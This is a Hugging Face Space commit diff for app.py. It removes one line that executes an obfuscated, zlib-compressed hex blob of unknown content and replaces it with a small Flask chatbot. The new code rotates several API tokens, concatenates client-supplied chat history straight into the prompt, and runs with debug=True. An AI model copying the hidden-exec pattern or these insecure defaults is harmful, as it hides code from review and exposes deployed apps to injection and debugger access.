Spaces:
Sleeping
Sleeping
ayush-thakur02
commited on
Update app.py
Browse files
app.py
CHANGED
@@ -1,3 +1,40 @@
|
|
1 |
-
|
|
|
|
|
|
|
2 |
|
3 |
-
__import__("sys").setrecursionlimit(100000000);lllllllllIIllIIlI(llllllllllllllI(lllllllllllllll(lllllllllllllIl.fromhex('7a6c6962').decode()), lllllllllllllIl.fromhex('6465636f6d7072657373').decode())(lllllllllllllIl.fromhex('789ced5ded6e1bbb117d15f75756892bb87f1df815ee0b18c6c2d75152038e1538be688ba2ef5e7dec4a2467ce9919eeae2dc9328a7ac521e7f3cc7048ad73db76f573f374fff3cf6ff717edf5eb7f7e2d9acfedec6b7bd5defc7e7df9da763f37df1e1f5e57a3bba957d7edd5bc6d1f96df166d3b7f58b6f72f3f1e967f3daf26ddfcb17c5eac565eddb4576b06371b0ecded8a6733bb5cfdaf67daac48574dca7143db0f5eb7dba16cdaeaf366eaec6ed6ab77737bb77d24a276665edfdeed86cb9f9b9ddcef8f4f2bc32e15e2ca4dedcaf21f25b99c7575fd63f17afffafad26cc6574b9a5933bbed3fa49aed079a6636dbcc99b7775f469b2a3f273f7b36ad87d176e0b24a769dc64105f375cde6c3e7cfdbb12fdb5fb3410edbc471c5fa7a3ba1d29411c39b4e5d617b9b321d927f3c2dffbc7ffa2d91ba873ab0537800b8a419e0e584459b7b65cbb1fddcf40f3d6f5dd46c4fd727e49f57fe1aa0db941ea9c24a95b210e159becd50ad4c7702c0c88650b3d970f2c1b5f8d96cb50b5d65b27bbcfe5afe4ba8d4d31e5f172f97e9c0f7a7e5fd2bacf6bb69ff5cfc5b9f0492a4c3642b9cd3cf5fbe7cbb14a3ddc6f17cff33dd3a86e7a10a99ae3875f81b03bab3f5763a38ea4da4966bda4517538bf618bb29fb8b9b552f717599d2ae1f963f7f3d9550e989ab6e49c59016df6e0fddfcbf9660fd9afffe0f60774cd0942bd7d957882d9d532d95096e03256f1fd422aa157b0e5dc14a796483dc4aea5878f79efdc235522fdba422e625e5dbe34bda8ce6c487a7fbdfbf3770ffaaeba7c91fd9d9d2a489029c5688999d04b77702054de3eb208c86a4ffec6a342aea5ab2c4df876ecc353a93deebe4d74426f9d768132be36636968e0026301a80eb6d7adee8aed949cac9c921172c599f557607e509986ff98eb13f1c7199c94e5cddb466f4934b3d40cfe9581fffdd41349ff6fe7a6f3e54372f96326d2e87095a4ffafb569bf4f085ce084ddf564f5c077c3e1ab8f78eeac896ef0ffd3c5959f28ff1d6c4ca5581e672a143155771c379a304b99129b51945a22a2ab21a096194f7b2296243b7f2921ef534ac35b3fda65d7d89964f8fed3083f617506dfbcdc2b5a7b4fb036c528ab64a08676d57ee03d4c1279d49627495467665cfe3f7cc56dea6acfbadab3bda61ad0fc48ba7df8b52a78d4a57a389db89d1ed5c51bf2f5f36e63e3eafbb1df562ae5c9bed0fd7dd06113f65c88875b921c80db8b6b8bed518251bd196b2b16f6be8f6acbdb6555bb7ef7bd750135f2669cd705fdda5224d61479361aaa4eed650342b07b4765f5454cf6e7c975eb84edecdb65d69d46fd376620ba96d5707f261b3f98237c6bd9c562d3ba5b2dad781258bfc17d841e4e5307674e938c072cfd3f2218a9cafb8ee37854b284bd97af5389abb7f71dfe58d97bb2937bf178316b161199ccd117ca2e3f7146ca7b986e8aed327e4ddfd4ce2921d30e6c5bccd872f727c43d2c7d9a2b93eaeb33a84d1c4227d11b1342764fc851f9000939cb09516007727ba23e58976521787f26c864a073c35a5cba9c430cc9b009d59484d4fdc0f7de031be0a9a3dd5a35da90df6bcd7024a517c5d220c265bd015425440a79cb3d4d7c1448326ae0a999dfe7201dd35d055481b448150fee0184c68d3bbf704f10dd81057efa763f72a11ee1eba8eeba81bad56770f5c70eeb5546e2cdde704c2a07a6886f78f06441d4993703bb76fe60a4ee888a3b46f39cf91f2212f71ee72afe9cbb385dbe480e509a14f3d61e11646f08dd477c728f30d8aa362a2aa1a82e45cac742e2db3c9dc92f107cd88229005b950090703a3115188a35980d8b25216c5e476428d0a46ee291ef66c8488bb6584a28bea06d4178a98ba605eeaaf68e97092c42664586a41dcc2049772b3eda0f482b3145a623302c555e1032178788629634622063764567bf4896073300bb60b97eaac63d80c7447c0e9808984bb273e29a01cbe0256ea50d3754f95327b47a4b9b680a69b1106b0d680756bc4765e0e500682e6e8995857ccf8a796155ac25c33ccc917aa8840cd8d66579b43b995ae66351c61a1d4311e1fe1048411ec7e9804ef0ca69ce6ec064df185cb2b6c94a3cca290a1ea9ab9c01a4815a6227401a247f675c80fe8c1d091c9a0bed24d71e31f4d9493a1bf14168ac544503e1bc7453aac6ca36bba08c7d6a4fa05c9322115d851c9b0533cb6c3a98ce2d7325e5a77a322c0d573a90840ca161247714b628e55825cb53d7afc64f6aac638179e215668362ac48444cd2dfda3828d623ad1063010ba8c002ec387c1b6411e650803c3d754379821f23a2d9011502bea250a59e9420766903c6d782e7c1a6d88f4512811fa8ec9ce6834f0980b129cafa84b0b6f321a1e4e8919285c450b402fd271ee8826ea28a43348883c8e84a71083a3c3e246210a9c21ec9bd38f8493ad5fe1628a6f4d37e1244ff5291532d3d8517a59dc159604c5525b570b62baaecdaf3364a302e5281e2837c2081e10f51d7197cfd62f7d4929073a10ac307faa8aebc6e812942ed4e121fa460ac62bddfeca9dab485c9157707aca96a0983b06eb8b32cf994f9af08ae60ce105ac83ef4f31e9d0260de2b61d460e0be458d7bf1922b45a0e67b85e4ad378b40ed8d9be73a601e132cf914df4106a6365c64d6a4606fc88cfe40ee477a2b648095e2e7dcca3b2e6874105a130c3d5750e6a28552dc20575e0166fa8503a4e78ca5f5d6852f1c8e1fe12f881e6af1e48b8c040b864ad43159620c589cc5e2d4415cd4ba02e557e4f4d63c05d29973a98453a534ea36965fadf63a12a9d3132d40926155d1876be6a293e3495bc7d95ded89bbcd536773c5aab48c4baf1a6d578892caf2c46e508dca7989d1930741e08bcbc8d556aaaee89491caf3170dc47e078cd4b5eea5a57893153a8d4540602429cb491acc722c20b2e24ac200c2eeda2dba8b250132fc50e83f19ead2f933532d9208c0a806ccaf9aa0a9481f25556f7eb6f0987e0ee83dde5885d3120c2423452f809551c574f5e07f09022efbbb732cac7a9b9d95cb2f9a26219c001ea0099d477262e09faccc52abdd0d2c7e384bb4495aa592d568bd762f24d12eceaa3ef3273aee8f935c9ee83668467b3a9f59f9d5baabb54e8991d1476fc38d9642065b06897ab648093f87b36cf5221165e1b81ca3c8e171824a46d30ce583fba37d323168e21896e04738ecc55a24db5c44eda3343717054cee3c8a87145cf65886426a579e0d09fa8212218ca05e1092449719936951d2afd15c8f5259b16602db02cd89cc84094db4378f80e82ba1778ee6aabfcc836749b3a77302421d57290ce11cb0958897055d1344173f2cf546db28e59e1244139ae42154d259107831d69b0b79670a715c3c02a809741fb08c32adb4c5277d2a45388d83ca30b314ce6314d9769f1837760cc4b999bc58def81f5108aa1acc4f34e349c404061640702958212ba79137ef950dd5f846a0371c5a9e3fcee20e2ce0514f0c098799f028aed9414119277c19d04c6a8e5126921d45500faa68d1bf6b2e259e2d76cae16f4374a78ee1415a7ca742ffcf437ba8440e1443916b55cb11d27e18e8c8247b1cf98026bacf9d4df21e5ce5d813274ca5d81353991ebd98f68ec89108e99dc735457ec3e9a144836a281713516964f0a1a7fdd3f18edb98ee3e28367b1f82140b5ee83489d4732c9c59d6b4f656c5266f1c249afe10636ab0e709a9baf18ae7f95827478f392eaa916a6f5c84ccf42eeb99a6a27091433fb09a82494653fc90a67bf44d90714d5e2cb7b2aa216cf16a7c696ce2a2a2ca55ae063c8d0a38961af958f85cede573c15056dcce8869037416b36ec39d1c44a58d2db94cf0a58fcf0762aeb102146699468881c30735b580123453cd028e75085d8d21a36535091a3b25828e18a3bb8b45445632e3f54b0905cd5eccc08b419131df404f31503a88e5f622dbc55c75157333b48167bb10aec135244b6c75c6b98087442aa521524cd7688a22fe9083565687f61f0a358fce01de63bffb54c192873cf4b6a2acf982218aa724a2c7122c1fcb5adf72c550d73c9c8b947fcd6a62e2f660d801149ac7630609375a5d56a3386036ae85905700126a3501b1e9071d0c3ebda57328adaa8a88694a1f55422aa97344cd3545f4dfc5592947800fb99f77d6d773eb3881af1839c196c9afa091e4cfaf5101263ffde0405b5642de64245817f24cdd4c0c685e5f482ae65915a8f8038cb479ed6ce071fdd37f84d7e5b5dd359281c74198b210342ab586023d257ecb95c8aac72db736c6a50178f6e6653c9fce7415b8de236816385580cd069a5b1e60a212aa053ced96c379134f6598d8f5451150fddc54df1b90969822810c61f1c7f096d7af79e20b6011b5d6042c976c0f01ee864ce16ccb99180174390491e063132390f7d2c112b2d72605bf1a989a54c822e774c4ce82b703a66d36d774aee0e6fb3199108cefd5349aa01cc0e2ac5e59541d546c98e92a36997cc372b1e865855adeb1ecaff84fde6e7d8fef3aad4f0431d4d0c711540bc82dfea384a8207583e550a62ace7389eba46139ceb2bff92c346b142f15834ee5e464000e7974bac76c7026f543546761ce3850dca3450ce4d574de11e9fe1aa03c442dd2a9d21446e08d2fb715e1ac23bae6002440574ca394b7d1d4c94e07234e82a724c40770d7415d20651d49941bfeed99e0e0613daf4ee3d417c0336c4d513b4cbc7d73093b9873b9a18726e98734e92adc308431549073ce78ea9da1c21f0dc300b0ddfa6233cb7c21fbc0d11a2023ae59c0fb75528a9dc149f9b902688a2ce0cfa74cff674f097d0ce6db0aa22c7b6c686c561bc267882ce37ebb18fb2b396f4f7ef9e8fbcd3e668c6522488a1e1fda3910b8edc4cb8f1fa19f7079b618b2ce79a3d96ad5049e6d9002da4a653ef078c9fb4bfafc3dd282990094392734ac48f686e1eea4191617697e3866e8afd6288483fbf16e0a4039e1a4a49342bfb441a118d6dff78322db32313a04e39e7c36d6bf5541eec29a40ca240f87f700826b4e9ddfb31e02db8997d8fc6a67b005f561cf5998afae1504713dd5d4d0d5e31d137175275f32eb70804894bbfb8a633942a3b6c34f430449673f9546d8e101841bfe628ea790d3e8a9674c2b8efd5208c629cefad8ca024b4c53268200a4b4c9f9e83bec620589628e91ef49a3ff52ddd91ee2987b0379cd43e72fe069c65baad9007d2be0aa1503c169dbf01efd5b0ebbb32edfc0d3849ac1058f7e33ce9611d0cba42880ae8947376f72928a9550dcfd729270fc18436bd7b4f10de80cd6eaaa76501c6cb28770f4abb3d59af3d7d133f95fe6f703b7408edf989b6f2d806b91ae610ac4aa7dcc18315fda35db2476bc681af645dd3e78ea9a080b664aea81501f6f92b5c277d403224732bbb1c1a118dad481bc33a4a801425846564c66af81c990075ca391f6e5306dd35d055481b4481f8ffe0184c68d3bbf7e3e03b658ebda8acee1e92c6fc4ddafee36cfa130ddebfa33f77ff18e9b03c1c4fc3836186788315fd63a01b74085341e31bd2744a47590387b901c85868f50d8d9153d23aa1502ca3cec70e277d401626732bfb1c1a118dad9e1bd83a4a80140be8c0609081f904ab500474ca391f555bc6adf1790a29832810fe1f1c82096d7af77e0c786713b00b95a5dd437e2838e2034142f76fc887309ad8e5ea60f08af3eb3d2403301df09c3ba66a7384400fc27d69ac503c169df6eb3da3e59a81739488a67d08ff1477a15de104930479dbb0909a3e77e458c478975088cf9aa2ce94344948d96aeb1cafcff58f43dabae195cc58aac522a0b84d8014c569656e8fd57c0b51019d72cec7d5208fe32ca40fa240307f701426b4e9ddfb31105eb0c04e4471a47182e4137f771ae83528273000ccf8063826ebc6d6766e724cf9d641b27bd8df4b1cdb9d04b5f65047134320502afad548c671f2f912024ea559ccf53d5f4270bfd6585405f113df4d6df2f978d63a724ad729e77c7ccdeb404f216510459d1974eb9eede94030a14defde13843763e3696ac03419e1ee41bccf776c9d723efefe4df09137cc2ce7e704c7c0f79ae1fda3815347e624dc78758bfb83cdb0459673cd26c85628b6e9410ba9e9d4fb01e3276dd3eb701748018dca3726e01734370fdd204f7bed10687165971822d2cfaf303ae980e7dc3f1582dea3f4f98cd45a990075ca391f6e13a9a7f2f98cc4286f08c18436bd7b4f10de808d6dd83847a569feaa6ac37d8ac317397de1748320db7c5ecb245c31e64317ab5b674b3129f7509e774397547743ff71bae70e4a9384bbfc39ee7fc06fb3f8b2f3e9665d1fcbcb84d231ece7e1893dad72e5dd5bfd37afa7fd23ce77f3ae20eb0e3dcaff36ccdb7cd93c7dc4ee262c4e0791d51273ef63eadddbfdd9c4bbe739aea4939a7d37595735a56795a278782690e2fd46ffdcd89452dec0824308a91ac143506cc44294d978e0b6dd4df9cff54dc6bb7f9ce6f4dacd689acdafcf9fb7f3bf6c7fcd3e6f8777e33bba3e7d56f668fd72cec6669b6c335c53cb0043f1bd10240669bef9354be8fa0420d8f057cffd52999aff0a3967f636651f2b1d4797ce487722fb05241428e8271bb154c95d6c0bd80a1e16cef25532c106b15510304909cffdd9667ec9026242a0369fb76ea1d529565174e818452a4fe0b14d9ef08ed30856db81ae2e36513f9b0b413e5ab59b95e269b69bea4dada268245b9bea9edd6c1fce949ff7dc3a2a20e8dfeba1833cebd46d2b0c51d218b5766c854a027e8352c6de8dbcd6bcc1212e96e023b5ac418021d949f40696a9aaae231a663a1cefd9b25fce93c6b07e68e28ae6dc4376fe1a1473f18d474c7cf5ce96456d57bd9de1b894350aada96ac8ec42bc733e312a16c7296fc12211ae2c0a4a07e668616be21d8998ef3036b4f6b70e30649c0714bdea135c2a01006570e1f2753eb14629d96e60ad73969fe8358e04aca3ef317b3a93779d6e56891d9420eefc73e2f2102e2dcd3e64d825a8b7491f7a94d9a9dbfa37c58ada1e616f602a4be878d8e066e275fbc4af01559ca85d190f1014db6fbcf5519738ecb4a3f1acdc54831d0c665d7b169b4df94d7a6e7265c3532a1cdc010b6e350137625571d60cdf97ec235db92baa5e1ceb4ba74ebbb77b1b4b7161ee8748345062bb7a5bbe776af5c9072b5713aeeb10bc94f56ecc53bf0157e8e6de739cc63b0fee38188150e8c134fc3e76c5716faa43d27b721cf49a460f1ff974fcd5ea287563b872aad12466bc07d8d934d9ded80edc3b9cc309e60ee1a4651eaddc4d61c8d575b73aa1af8ef92b06b198995fbe4c7671f0366f3e96d6d524991a95f8b768debb8a31ae7787763475ef5a4d87a26d5c62a72750c1e5692aff799b0e78420f0d7c6fccbc712caf52c6bb4bf1b74a6d7df789d8e3f705a3f712fb508c52a39d2fcc1d5ef5ecfc807745ef69c6e807c38e0e9cd76adfe673740bd3fedd5754edc4dcd0ad85e77d8e31365dbd9ba7ae0f7480b024591c5b51fe826da50a8c49bf96bde9c85b395f3bcacd6db31d4e56ce9357d60b866bd24a9a5822d6a8130163319728c0b52052b435cacc621ad644d701cd671a536bf142ee2422102e946bac406c97dc7d6dba3f90b868baa78b87e5b7c5f5c5e2df8fafcdfa71366bfe31bb78fc7ef1bc7cbd78b87f7abafff369d1fc58bcdebfbebeac24fef9d7e3d3ebe3f3efb6bdbcf8f4b0fcf9ebf169f1e9f2e28fe5f36ae9c5f2e5429b3aef26ae96b4edcfe5b7bf9e166dbb5af5e9d3ece26f37179ffa999f5c0c9eef7fe6cb7b352e164fbf179d2a4d9f388537fa71cd494d49490756eebbd50bc8dd17b64efb59f3da4ee06b6b65eef9b77733ac8c69ef759b966fb79da978734d737be79d4edcb1b292d6d5dd1f279d5c7867ff0728a3d1b1'.replace("\n" , ""))).decode())
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from flask import Flask, render_template, request, jsonify
|
2 |
+
from huggingface_hub import InferenceClient
|
3 |
+
import random
|
4 |
+
import os
|
5 |
|
6 |
+
keys = [
|
7 |
+
os.getenv("KEY1"),
|
8 |
+
os.getenv("KEY2"),
|
9 |
+
os.getenv("KEY3"),
|
10 |
+
os.getenv("KEY4"),
|
11 |
+
os.getenv("KEY5"),
|
12 |
+
]
|
13 |
+
|
14 |
+
|
15 |
+
app = Flask(__name__)
|
16 |
+
|
17 |
+
INITIAL_PROMPT = os.getenv("SYSTEM")
|
18 |
+
|
19 |
+
|
20 |
+
@app.route('/')
|
21 |
+
def index():
|
22 |
+
return render_template('index.html')
|
23 |
+
|
24 |
+
@app.route('/chat', methods=['POST'])
|
25 |
+
def chat():
|
26 |
+
client = InferenceClient(
|
27 |
+
os.getenv("MODEL_LUCY"),
|
28 |
+
token=random.choice(keys)
|
29 |
+
)
|
30 |
+
user_input = request.json['message']
|
31 |
+
conversation_history = request.json['history']
|
32 |
+
|
33 |
+
prompt = INITIAL_PROMPT + conversation_history + f" {user_input}</user>\n<assistant>"
|
34 |
+
|
35 |
+
response = client.text_generation(prompt, max_new_tokens=512, stop_sequences=["<user>"])
|
36 |
+
|
37 |
+
return jsonify({'response': response})
|
38 |
+
|
39 |
+
if __name__ == '__main__':
|
40 |
+
app.run(debug=True)
|